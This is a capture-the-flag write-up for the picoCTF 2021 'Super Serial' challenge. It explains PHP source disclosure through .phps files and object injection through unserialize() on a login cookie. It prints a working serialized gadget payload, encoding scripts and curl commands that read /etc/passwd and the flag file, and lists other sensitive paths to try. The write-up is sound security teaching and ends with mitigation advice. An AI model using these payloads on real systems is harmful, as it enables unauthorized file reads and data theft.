Super Serial picoCTF 2021 Solution

Published: April 2, 2026

Description

Try to recover the flag from this PHP web application. Start with /robots.txt.

Remote

Probe common PHP paths and read /robots.txt for hints.

bash
curl http://<server>/robots.txt
bash
curl -I http://<server>/index.php
bash
curl -I http://<server>/cookie.php
bash
curl -I http://<server>/admin.php

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1
    Discover source files via .phps extension
    Observation
    I noticed the challenge description explicitly said to start with /robots.txt, which suggested the file would disclose sensitive paths; and since this is a PHP app, a .phps source-disclosure misconfiguration was the logical next target once robots.txt pointed the way.
    robots.txt typically lists Disallow: entries pointing at sensitive paths. Here it hints at .phps source-disclosure files. Request index.phps to see the source of index.php.
    bash
    curl http://<server>/robots.txt
    bash
    curl http://<server>/index.phps
    bash
    curl http://<server>/authentication.phps
    What didn't work first

    Tried: Request index.php.bak or index.php~ to find source disclosure instead of index.phps

    Backup-file extensions (.bak, ~, .old) are a different misconfiguration from .phps. Apache's mod_php source-disclosure feature specifically uses the .phps extension, not backup suffixes. The server returns 404 for .bak and ~ unless those files were accidentally left, so you exhaust time on paths that won't exist on a fresh Apache setup.

    Tried: Read robots.txt and assume the Disallow path is the flag location, then curl it directly

    robots.txt Disallow entries are crawl hints, not file locations with accessible content. The path listed here hints that .phps source disclosure is available, not that the flag sits at that URL. Curling the Disallow path returns HTML or a redirect to the login form, not the flag.

    Learn more

    The .phps extension is an Apache configuration for serving PHP source code with syntax highlighting instead of executing it. When misconfigured, it exposes the entire source code of PHP applications. This is a common misconfiguration that attackers check early in web application recon. See web bug patterns for similar source-disclosure tricks.

  2. Step 2
    Identify the unsafe unserialize() call
    Observation
    I noticed authentication.phps passed $_COOKIE['login'] directly to unserialize() and defined an access_log class with a __toString() that reads a file, which together form a classic PHP object-injection gadget chain.
    authentication.phps shows unserialize($_COOKIE['login']). The same file (or index.phps) defines an access_log class whose __toString() reads the file at $this->log_file. That pairing is a PHP object-injection gadget.
    Learn more

    PHP object injection occurs when user-controlled data is passed to unserialize(). The serialized format encodes the class name and properties of objects, so an attacker can craft a string that instantiates any class defined in the application with arbitrary property values.

    What triggers __toString(). The magic method runs whenever PHP needs the object as a string:

    • echo $obj;
    • String concatenation: "hello " . $obj
    • Double-quoted interpolation: "value: $obj"
    • Implicit cast in strlen(), strpos(), comparison with a string, etc.

    Other useful magic methods to grep for: __destruct() (fires when the object is garbage-collected), __wakeup() (fires immediately on unserialize), __call()/__get()/__set() (property access).

  3. Step 3
    Craft the serialized access_log payload
    Observation
    I noticed the access_log class stored the target filename in log_file and that its __toString() read that file, which suggested manually crafting an O: serialization string setting log_file to ../flag and delivering it base64+URL-encoded in the login cookie.
    PHP serialization spells out byte counts: O:<len>:"<class>":<n>:{<props>}. Strings: s:<len>:"<value>";. For class access_log (10 chars) with one property log_file pointing at ../flag (7 chars): O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}.
    bash
    # Verify the path first with a known file:
    python
    python3 <<'PY'
    import base64, urllib.parse
    payload = b'O:10:"access_log":1:{s:8:"log_file";s:11:"/etc/passwd";}'
    print(urllib.parse.quote(base64.b64encode(payload)))
    PY
    bash
    curl http://<server>/authentication.php --cookie "login=<encoded>"
    bash
    # Then swap to the flag once the read primitive is confirmed:
    python
    python3 <<'PY'
    import base64, urllib.parse
    payload = b'O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}'
    print(urllib.parse.quote(base64.b64encode(payload)))
    PY

    Expected output

    picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_...}
    What didn't work first

    Tried: Use PHP's serialize() in a local php -r one-liner to generate the payload automatically

    Running php -r 'echo serialize(new access_log());' locally fails because the access_log class is not defined in your local environment - it only exists on the server. You'd have to copy-paste the class definition from .phps, set the property correctly, then serialize it. Hand-crafting the O: string is faster and avoids that setup, and also makes the byte-count arithmetic visible so you catch length mismatches.

    Tried: Send the raw (non-base64-encoded) serialized string directly in the cookie header

    Cookie values cannot contain semicolons, curly braces, or spaces unescaped - all of which appear in the PHP serialization format. Sending the raw string causes the server's cookie parser to truncate or reject the value, so unserialize() either fails or receives a malformed fragment. Base64-encoding the payload first eliminates all special characters, then URL-encoding the base64 output handles any remaining '=' padding.

    Learn more

    Byte format walkthrough. Decoding the payload field by field:

    O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}
    
      O:10            -> Object whose class name is 10 bytes long
      "access_log"    -> the class name (10 chars)
      :1:             -> the object carries 1 property
      s:8:"log_file"  -> property name: an 8-char string
      s:7:"../flag"   -> property value: a 7-char string (the file to read)

    Why probe a known file first. If ../flag doesn't resolve, the serialization parsed but the path was wrong, and you'll see no useful output and won't know which step failed. Probe with /etc/passwd (always present, distinctive output starting with root:x:0:0:) to confirm the read primitive works, then switch to the flag path. Other useful candidates: /proc/self/cwd/flag, /var/www/html/flag.txt, the application's config file.

    Mitigation. Never call unserialize() on user-supplied data. Use JSON for data exchange. If serialization is necessary, sign the blob with HMAC and reject unsigned input.

Flag

Reveal flag

picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_...}

PHP unserialize() on cookie data is a critical vulnerability: __toString runs when the object is used as a string, which the gadget class abuses for arbitrary file reads.

Key takeaway

PHP object injection occurs when attacker-controlled data reaches unserialize(), because PHP's serialization format encodes the class name directly in the payload. The attacker can instantiate any class already loaded by the application with arbitrary property values, then trigger dangerous magic methods such as __toString or __destruct that perform file reads, shell execution, or database queries. The same concept applies to Java deserialization, Python pickle, and Ruby Marshal, all of which execute code during object reconstruction rather than merely restoring data.

Related reading

Want more picoCTF 2021 writeups?

Useful tools for Web Exploitation

What to try next